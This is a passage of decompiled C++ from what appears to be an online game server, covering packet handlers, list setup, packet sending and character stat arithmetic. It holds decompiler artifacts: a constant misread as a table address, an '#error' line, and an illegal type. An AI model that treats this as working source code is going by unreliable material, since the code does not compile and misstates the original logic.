v3->opto_SocketSession->baseclass_0.m_Packet.vfptr->TakeNextPacket(&v3->opto_SocketSession->baseclass_0.m_Packet); v3->opto_ListPacket = clockwatch.cw_CurrTick; ++sleepmanager.sm_PacketNumber; goto LABEL_14; } if ( v7 == 1 ) { v3->opto_SocketSession->baseclass_0.m_Status = 3; LABEL_13: v3->opto_SocketSession = 0; goto LABEL_14; } } else { if ( v3->opto_SocketSession->baseclass_0.m_Packet.vfptr->RemoveAllUsedPacket(&v3->opto_SocketSession->baseclass_0.m_Packet) ) ZoneBaseSession::Receive(&v3->opto_SocketSession->baseclass_0); if ( v3->opto_ListPacket + 600 < clockwatch.cw_CurrTick ) goto LABEL_13; } } LABEL_14: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolObject::opto_Routine"); return 1; } //----- (004904E0) -------------------------------------------------------- void __thiscall OPToolList::_OPToolList(OPToolList *this) { OPToolList *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->optl_Array, 8u, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5B0D38: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (00490550) -------------------------------------------------------- void __thiscall OPToolSession::opts_DummyFunction(OPToolSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "OPToolSession::opts_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail( &shineassert, "ZoneListenSession::opts_DummyFunction", (unsigned int)netcmd->protocol >> 10, netcmd->protocol & 0x3FF); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_DummyFunction"); } //----- (00490600) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ(OPToolSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 char *v3; // eax@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2051; v3[2] = LOBYTE(netcmd[1].protocol); if ( HIBYTE(netcmd[1].protocol) == 6 ) *(_WORD *)(v3 + 3) = LOBYTE(netcmd[2].protocol) != 8; else *(_WORD *)(v3 + 3) = 1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ : Packet Too Long", 5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ"); } //----- (00490700) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK(OPToolSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK"); } //----- (00490750) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_MISC_HEARTBEAT_REQ(OPToolSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ"); } //----- (00490820) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ(OPToolSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 char *v3; // eax@1 int v4; // edx@1 char *v5; // eax@1 int v6; // eax@6 char *v7; // eax@9 int v8; // eax@14 char *v9; // eax@17 int v10; // eax@22 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 10248; v4 = (int)(v3 + 2); memset(v3 + 2, 0, 0xA8u); *((_WORD *)v3 + 85) = 0; v3[2] = LOBYTE(netcmd[1].protocol); v3[3] = 6; v5 = (char *)&sock2gameDB.sb_SocketStr[0].socket.baseclass_0.m_Status; while ( *(_DWORD *)v5 != 1 && *(_DWORD *)v5 != 2 ) { v5 += 264; if ( (signed int)v5 >= (signed int)&sock2gameDB.sb_Pointer.mask ) goto LABEL_9; } v6 = sock2gameDB.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID; if ( sock2gameDB.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID >= 21 ) v6 = 10; ++*(_WORD *)(v4 + 8 * v6 + 2); LABEL_9: v7 = (char *)&sock2gamelog.sb_SocketStr[0].socket.baseclass_0.m_Status; while ( *(_DWORD *)v7 != 1 && *(_DWORD *)v7 != 2 ) { v7 += 264; if ( (signed int)v7 >= (signed int)&sock2gamelog.sb_Pointer.mask ) goto LABEL_17; } v8 = sock2gamelog.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID; if ( sock2gamelog.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID >= 21 ) v8 = 10; ++*(_WORD *)(v4 + 8 * v8 + 2); LABEL_17: v9 = (char *)&stru_1250E924.baseclass_0.m_Status; while ( *(_DWORD *)v9 != 1 && *(_DWORD *)v9 != 2 ) { v9 += 264; if ( (signed int)v9 >= (signed int)&unk_1250ED48 ) goto LABEL_25; } v10 = stru_1250E924.baseclass_0.m_Connected_Server_ID; if ( stru_1250E924.baseclass_0.m_Connected_Server_ID >= 21 ) v10 = 10; ++*(_WORD *)(v4 + 8 * v10 + 2); LABEL_25: *(_WORD *)(v4 + 162) = unk_1247FF04->l_ListNum; *(_WORD *)(v4 + 66) = optoollist.l_ListNum; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 172) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ : Packet Too Long", 172); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ"); } //----- (004909D0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00490A20) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00490B40) -------------------------------------------------------- void __thiscall OPToolList::OPToolList(OPToolList *this) { OPToolList *v1; // esi@1 signed int v2; // edi@1 signed int v3; // eax@1 int v4; // edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 OPToolObject *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 OPToolObject *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 OPToolObject *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 OPToolObject *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 OPToolObject *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x32u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->optl_Array, 8u, 50, (void (__thiscall *)(void *))AllOfRangeArgument::AllOfRangeArgument, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 3; v4 = (int)&v1->optl_Array[1]; v5 = 10; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 8; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 8; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 16; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 24; } v4 += 40; v3 += 5; v2 += 5; --v5; } while ( v5 ); } // 5B0D38: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (00490C60) -------------------------------------------------------- void __thiscall GlobalProtocolPacket::GlobalProtocolPacket(GlobalProtocolPacket *this) { this->baseclass_0.pp_PacketLength = 0; this->baseclass_0.pp_Buffer = this->gpp_Buffer; this->baseclass_0.pp_BufferSize = 8192; } //----- (00490C80) -------------------------------------------------------- char __thiscall PacketContainer::pcb_Flush_Try_Catch(PacketContainer *this, ClientSession *session) { int v2; // eax@0 int v3; // ebx@0 PacketContainer *v4; // esi@1 char v5; // bl@1 int v6; // eax@1 int v7; // eax@4 int v8; // edx@8 ZoneBaseSession *v10; // ecx@10 int v11; // [sp-Ch] [bp-44h]@1 int v12; // [sp-8h] [bp-40h]@3 int v13; // [sp-4h] [bp-3Ch]@1 int v14; // [sp+0h] [bp-38h]@3 int v15; // [sp+4h] [bp-34h]@3 ClientSession *v16; // [sp+8h] [bp-30h]@3 int v17; // [sp+Ch] [bp-2Ch]@3 int v18; // [sp+10h] [bp-28h]@3 ClientSession *DisconnectSession; // [sp+14h] [bp-24h]@3 PacketContainer *v20; // [sp+18h] [bp-20h]@1 int v21; // [sp+1Ch] [bp-1Ch]@3 char rtn; // [sp+1Fh] [bp-19h]@1 int v23; // [sp+20h] [bp-18h]@1 int v24; // [sp+24h] [bp-14h]@3 int v25; // [sp+28h] [bp-10h]@1 int (__cdecl *v26)(int, PVOID, int); // [sp+2Ch] [bp-Ch]@1 _UNKNOWN *v27; // [sp+30h] [bp-8h]@1 int v28; // [sp+34h] [bp-4h]@1 v27 = &unk_5AFAE0; v26 = _except_handler3; v25 = v2; v13 = v3; v23 = (int)&v11; v4 = this; v20 = this; v5 = 1; rtn = 1; v28 = 0; v6 = this->pc_Pointer; if ( v6 ) { if ( AssertClass::operator__(&shineassert, v6 < 8192, "Too long packet", this->pc_Pointer) ) { ((void (__thiscall *)(PacketContainer *, int, int, int, int, int, ClientSession *, int, int, ClientSession *, PacketContainer *, int, int, int, int))v4->baseclass_0.vfptr->pcb_Clear)( v4, v11, v12, v13, v14, v15, v16, v17, v18, DisconnectSession, v20, v21, v23, v24, v25); DisconnectSession = session; if ( session ) { v18 = session->cs_clienthandle; v7 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v18); v17 = v7; LABEL_8: v8 = *(_DWORD *)v7; v25 = 0; v24 = 0; v23 = 1670; (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(v8 + 1464))(v7, 1670, 0, 0); goto LABEL_9; } goto LABEL_9; } if ( AssertClass::operator__(&shineassert, session == v4->pc_Session, "Session wrong", v4->pc_Pointer) ) { ((void (__thiscall *)(PacketContainer *, int, int, int, int, int, ClientSession *, int, int, ClientSession *, PacketContainer *, int, int, int, int))v4->baseclass_0.vfptr->pcb_Clear)( v4, v11, v12, v13, v14, v15, v16, v17, v18, DisconnectSession, v20, v21, v23, v24, v25); v16 = session; if ( session ) { v15 = session->cs_clienthandle; v7 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v15); v14 = v7; goto LABEL_8; } LABEL_9: v28 = -1; return 0; } v10 = (ZoneBaseSession *)v4->pc_Session; if ( v10 ) { v5 = ZoneBaseSession::Send(v10, v4->pc_Buffer, v4->pc_Pointer); rtn = v5; v4->baseclass_0.vfptr->pcb_Clear((PacketContainerBase *)v4); } } return v5; } //----- (00490E40) -------------------------------------------------------- void __thiscall ProtocolPacket::pp_SendPacket(ProtocolPacket *this, ZoneBaseSession *session) { ProtocolPacket *v2; // ebx@1 int v3; // eax@1 signed int v4; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolPacket::pp_SendPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolPacket::pp_SendPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->pp_PacketLength; if ( v3 < 8189 ) { if ( v2->pp_PacketLength < 256 ) { buffer[0] = LOBYTE(v2->pp_PacketLength); v4 = 1; } else { buffer[0] = 0; word_CBE3671 = LOWORD(v2->pp_PacketLength); v4 = 3; } memcpy(&buffer[v4], v2->pp_Buffer, v2->pp_PacketLength); ZoneBaseSession::Send(session, buffer, v4 + v2->pp_PacketLength); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SendPacket"); } else { AssertClass::ac_AssertFail(&shineassert, "ProtocolPacket::pp_SendPacket : Too long buffer", v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SendPacket"); } } // CBE3671: using guessed type __int16 word_CBE3671; //----- (00490F80) -------------------------------------------------------- void __thiscall PacketContainerBase::pcb_Append(PacketContainerBase *this, #331 *a2, ProtocolPacket *pp) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PacketContainerBase::pcb_Append"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PacketContainerBase::pcb_Append"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PacketContainerBase::pcb_Append"); } //----- (00490FD0) -------------------------------------------------------- #error "490FD0: undefined or illegal type '#331' (funcsize=119)" //----- (00491180) -------------------------------------------------------- char __thiscall ProtocolPacket::pp_SetPacketLen(ProtocolPacket *this, int len) { ProtocolPacket *v2; // esi@1 char result; // al@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolPacket::pp_SetPacketLen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolPacket::pp_SetPacketLen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( len < v2->pp_BufferSize ) { v2->pp_PacketLength = len; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SetPacketLen"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SetPacketLen"); result = 0; } return result; } //----- (00491230) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_ply_GetClientSession() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GetClientSession"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_GetClientSession"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GetClientSession"); return 0; } //----- (00491280) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetClientSession(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GetClientSession"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GetClientSession"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 5914); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GetClientSession"); return v2; } //----- (004912F0) -------------------------------------------------------- void __thiscall Parameter::Cluster::c_clearplus(Parameter::Cluster *this) { this->ResistGTI = 0; this->ResistMoveSpdDown = 0; this->ResistCurse = 0; this->ResistDeaseas = 0; this->ResistPoison = 0; this->RegistNone = 0; this->CriticalTB = 0; this->SPAbsorption_Hit = 0; this->HPAbsorption_Hit = 0; this->SPAbsorption_Hitted = 0; this->HPAbsorption_Hitted = 0; this->MaxSP = 0; this->MaxHP = 0; this->AttSpeed = 0; this->MagCriDamRate = 0; this->CriDamRate = 0; this->MagCriDam = 0; this->CriDam = 0; this->MACri = 0; this->EvaRate = 0; this->HitRate = 0; this->ShieldAC = 0; this->MagicalWeaponMastery = 0; this->PhisycalWeaponMastery = 0; this->Critical = 0; this->CastingTime = 0; this->SPRecover = 0; this->HPRecover = 0; this->MoveSpeed = 0; this->AbsoluteBlock = 0; this->AbsoluteHit = 0; this->AbsoluteDefend = 0; this->AbsoluteAttack = 0; this->MB = 0; this->MH = 0; this->MR = 0; this->MAmax = 0; this->MAmin = 0; this->TB = 0; this->TH = 0; this->AC = 0; this->WCmax = 0; this->WCmin = 0; this->Men = 0; this->Int = 0; this->Dex = 0; this->Con = 0; this->Str = 0; this->flag._bf0 &= 0xFCu; } //----- (004913C0) -------------------------------------------------------- void __thiscall Parameter::Cluster::c_clearrate(Parameter::Cluster *this) { this->CriticalTB = 1000; this->SPAbsorption_Hit = 1000; this->HPAbsorption_Hit = 1000; this->SPAbsorption_Hitted = 1000; this->HPAbsorption_Hitted = 1000; this->MaxSP = 1000; this->MaxHP = 1000; this->AttSpeed = 1000; this->MagCriDamRate = 1000; this->CriDamRate = 1000; this->MagCriDam = 1000; this->CriDam = 1000; this->MACri = 1000; this->EvaRate = 1000; this->HitRate = 1000; this->ShieldAC = 1000; this->MagicalWeaponMastery = 1000; this->PhisycalWeaponMastery = 1000; this->Critical = 1000; this->CastingTime = 1000; this->SPRecover = 1000; this->HPRecover = 1000; this->MoveSpeed = 1000; this->AbsoluteBlock = 1000; this->AbsoluteHit = 1000; this->AbsoluteDefend = 1000; this->AbsoluteAttack = 1000; this->MB = 1000; this->MH = 1000; this->MR = 1000; this->MAmax = 1000; this->MAmin = 1000; this->TB = 1000; this->TH = 1000; this->AC = 1000; this->WCmax = 1000; this->WCmin = 1000; this->Men = 1000; this->Int = 1000; this->Dex = 1000; this->Con = 1000; this->Str = 1000; this->ResistGTI = 0; this->ResistMoveSpdDown = 0; this->ResistCurse = 0; this->ResistDeaseas = 0; this->ResistPoison = 0; this->RegistNone = 0; this->flag._bf0 &= 0xFCu; } //----- (00491490) -------------------------------------------------------- bool __thiscall Parameter::Container::IsNoAttacOrNoMove(Parameter::Container *this) { bool result; // al@2 if ( this->AbnormalState.Plus.flag._bf0 & 3 ) result = 1; else result = 0; return result; } //----- (004914B0) -------------------------------------------------------- bool __thiscall Parameter::Container::IsNoAttack(Parameter::Container *this) { return ((unsigned int)this->AbnormalState.Plus.flag._bf0 >> 1) & 1; } //----- (004914C0) -------------------------------------------------------- void __thiscall ShineCommonParameter::ShineCommonParameter(ShineCommonParameter *this) { OptionReader::OptionReader(&this->scp_or); Parameter::Cluster::c_clearplus(¶meter_eraser_plus); Parameter::Cluster::c_clearrate(¶meter_eraser_rate); } //----- (004914E0) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_IsInWeapon() { return 1; } //----- (004914F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_IsInWeapon(int this) { int result; // eax@1 result = *(_DWORD *)(this + 92228); if ( result ) result = *(_WORD *)(result + 8) != -1; return result; } //----- (00491510) -------------------------------------------------------- UpGradeInfo *__thiscall UpgradeDataBox::operator__(UpgradeDataBox *this, unsigned __int16 sub) { CDataReader::HEAD *v2; // edx@2 char *v3; // ecx@2 UpGradeInfo *result; // eax@3 if ( sub >= this->udb_Number ) { result = this->udb_default; } else { v2 = this->udb_BinData.baseclass_0.baseclass_0.m_pHead; v3 = (char *)&this->udb_BinData; if ( sub < v2->nNumOfRecord ) result = (UpGradeInfo *)CDataReader::GetRecord((CDataReader *)v3, sub); else result = (UpGradeInfo *)(v3 + 60); } return result; } //----- (00491540) -------------------------------------------------------- void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c) { Parameter::Cluster *v2; // esi@1 int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 int v6; // ecx@1 int v7; // edx@1 int v8; // ecx@1 int v9; // edx@1 int v10; // ecx@1 int v11; // edx@1 int v12; // ecx@1 int v13; // edx@1 int v14; // ecx@1 int v15; // edx@1 int v16; // ecx@1 int v17; // edx@1 int v18; // ecx@1 int v19; // ecx@1 int v20; // edx@1 int v21; // ecx@1 int v22; // edx@1 int v23; // ecx@1 int v24; // edx@1 int v25; // ecx@1 int v26; // edx@1 int v27; // ecx@1 int v28; // edx@1 int v29; // ecx@1 int v30; // edx@1 int v31; // ecx@1 int v32; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::operator +="); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::operator +="; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->Con; v2->Str += c->Str; v4 = v2->Dex; v2->Con = c->Con + v3; v5 = v2->Int; v2->Dex = c->Dex + v4; v6 = v2->Men; v2->Int = c->Int + v5; v7 = v2->WCmin; v2->Men = c->Men + v6; v8 = v2->WCmax; v2->WCmin = c->WCmin + v7; v9 = v2->AC; v2->WCmax = c->WCmax + v8; v10 = v2->TH; v2->AC = c->AC + v9; v11 = v2->TB; v2->TH = c->TH + v10; v12 = v2->MAmin; v2->TB = c->TB + v11; v13 = v2->MAmax; v2->MAmin = c->MAmin + v12; v14 = v2->MR; v2->MAmax = c->MAmax + v13; v15 = v2->MH; v2->MR = c->MR + v14; v16 = v2->MB; v2->MH = c->MH + v15; v17 = v2->AbsoluteAttack; v2->MB = c->MB + v16; v18 = v2->AbsoluteDefend; v2->AbsoluteAttack = c->AbsoluteAttack + v17; v2->AbsoluteDefend = c->AbsoluteDefend + v18; v19 = v2->AbsoluteBlock; v2->AbsoluteHit += c->AbsoluteHit; v20 = v2->MoveSpeed; v2->AbsoluteBlock = c->AbsoluteBlock + v19; v21 = v2->HPRecover; v2->MoveSpeed = c->MoveSpeed + v20; v22 = v2->SPRecover; v2->HPRecover = c->HPRecover + v21; v23 = v2->CastingTime; v2->SPRecover = c->SPRecover + v22; v24 = v2->Critical; v2->CastingTime = c->CastingTime + v23; v25 = v2->PhisycalWeaponMastery; v2->Critical = c->Critical + v24; v26 = v2->MagicalWeaponMastery; v2->PhisycalWeaponMastery = c->PhisycalWeaponMastery + v25; v27 = v2->ShieldAC; v2->MagicalWeaponMastery = c->MagicalWeaponMastery + v26; v28 = v2->HitRate; v2->ShieldAC = c->ShieldAC + v27; v29 = v2->EvaRate; v2->HitRate = c->HitRate + v28; v30 = v2->MACri; v2->EvaRate = c->EvaRate + v29; v31 = v2->CriDam; v2->MACri = c->MACri + v30; v32 = v2->MagCriDam; v2->CriDam = c->CriDam + v31; v2->MagCriDam = c->MagCriDam + v32; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::operator +="); } //----- (00491700) -------------------------------------------------------- void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c) { Parameter::Cluster *v2; // esi@1 int v3; // eax@3 signed int v4; // edx@4 int v5; // eax@5 int v6; // eax@7 signed int v7; // edx@8 int v8; // eax@9 int v9; // eax@11 signed int v10; // edx@12 int v11; // eax@13 int v12; // eax@15 signed int v13; // edx@16 int v14; // eax@17 int v15; // eax@19 signed int v16; // edx@20 int v17; // eax@21 int v18; // eax@23 signed int v19; // edx@24 int v20; // eax@25 int v21; // eax@27 signed int v22; // edx@28 int v23; // eax@29 int v24; // eax@31 signed int v25; // edx@32 int v26; // eax@33 int v27; // eax@35 signed int v28; // edx@36 int v29; // eax@37 int v30; // eax@39 signed int v31; // edx@40 int v32; // eax@41 int v33; // eax@43 signed int v34; // edx@44 int v35; // eax@45 int v36; // eax@47 signed int v37; // edx@48 int v38; // eax@49 int v39; // eax@51 signed int v40; // edx@52 int v41; // eax@53 int v42; // eax@55 signed int v43; // edx@56 int v44; // eax@57 int v45; // eax@59 signed int v46; // edx@60 int v47; // eax@61 int v48; // eax@63 signed int v49; // edx@64 int v50; // eax@65 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::operator *="); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::operator *="; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( c->Str != 1000 ) v2->Str = ((signed int)((unsigned __int64)(c->Str * v2->Str * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(c->Str * v2->Str * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v3 = c->Con; if ( v3 != 1000 ) { v4 = (signed int)((unsigned __int64)(v3 * v2->Con * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2->Con = v4 + 